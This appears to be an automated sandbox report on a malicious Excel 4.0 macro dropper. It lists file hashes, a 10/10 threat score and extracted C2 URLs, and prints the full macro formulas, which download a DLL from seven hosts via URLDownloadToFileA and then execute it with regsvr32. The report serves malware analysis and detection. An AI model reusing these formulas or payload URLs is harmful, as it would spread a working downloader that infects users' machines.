General

  • Target

    444e351d8e9d670d38aaeb9644c3d6e91f9e4ef89160c96ebe9bcb88e17ef71c

  • Size

    73KB

  • Sample

    241120-f61d8ssgjl

  • MD5

    9565a310e8808b52915bc044f5bb95fe

  • SHA1

    4645ba4e82138af074f49f40efe0a3c5d53d8bd3

  • SHA256

    444e351d8e9d670d38aaeb9644c3d6e91f9e4ef89160c96ebe9bcb88e17ef71c

  • SHA512

    093e06af23917ffc897bd757bf9d79c6a2794d2fff9ee2e79c7cc379dda538595a6f2c65aafb9e71a604a4d44fd8bc2d163b753906f0667fb5346d4fc293d63b

  • SSDEEP

    1536:mLgT1WiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlV6BD:B1WiCtzSmICpH7OZuvZGsM0

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://www.ankeoman.com/undercons_files/l88ETG/

http://atbiotique.com/images/Luf2JK8NAHSkvg3H83g/

http://atacelikyapi.com/css/SOiiHs8wmjzlWoO/

http://atsyemek.com/test/QaMcxcqLPFHX/

http://atozams.com/app/d24BUaSin4NuT/

http://aureadesign.net/1U3/

http://www.anzizasalema.com/cms/wX6lkpSHjeEPO81/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.ankeoman.com/undercons_files/l88ETG/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atbiotique.com/images/Luf2JK8NAHSkvg3H83g/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atacelikyapi.com/css/SOiiHs8wmjzlWoO/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atsyemek.com/test/QaMcxcqLPFHX/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atozams.com/app/d24BUaSin4NuT/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aureadesign.net/1U3/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.anzizasalema.com/cms/wX6lkpSHjeEPO81/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://www.ankeoman.com/undercons_files/l88ETG/

xlm40.dropper

http://atbiotique.com/images/Luf2JK8NAHSkvg3H83g/

Targets

    • Target

      444e351d8e9d670d38aaeb9644c3d6e91f9e4ef89160c96ebe9bcb88e17ef71c

    • Size

      73KB

    • MD5

      9565a310e8808b52915bc044f5bb95fe

    • SHA1

      4645ba4e82138af074f49f40efe0a3c5d53d8bd3

    • SHA256

      444e351d8e9d670d38aaeb9644c3d6e91f9e4ef89160c96ebe9bcb88e17ef71c

    • SHA512

      093e06af23917ffc897bd757bf9d79c6a2794d2fff9ee2e79c7cc379dda538595a6f2c65aafb9e71a604a4d44fd8bc2d163b753906f0667fb5346d4fc293d63b

    • SSDEEP

      1536:mLgT1WiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlV6BD:B1WiCtzSmICpH7OZuvZGsM0

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks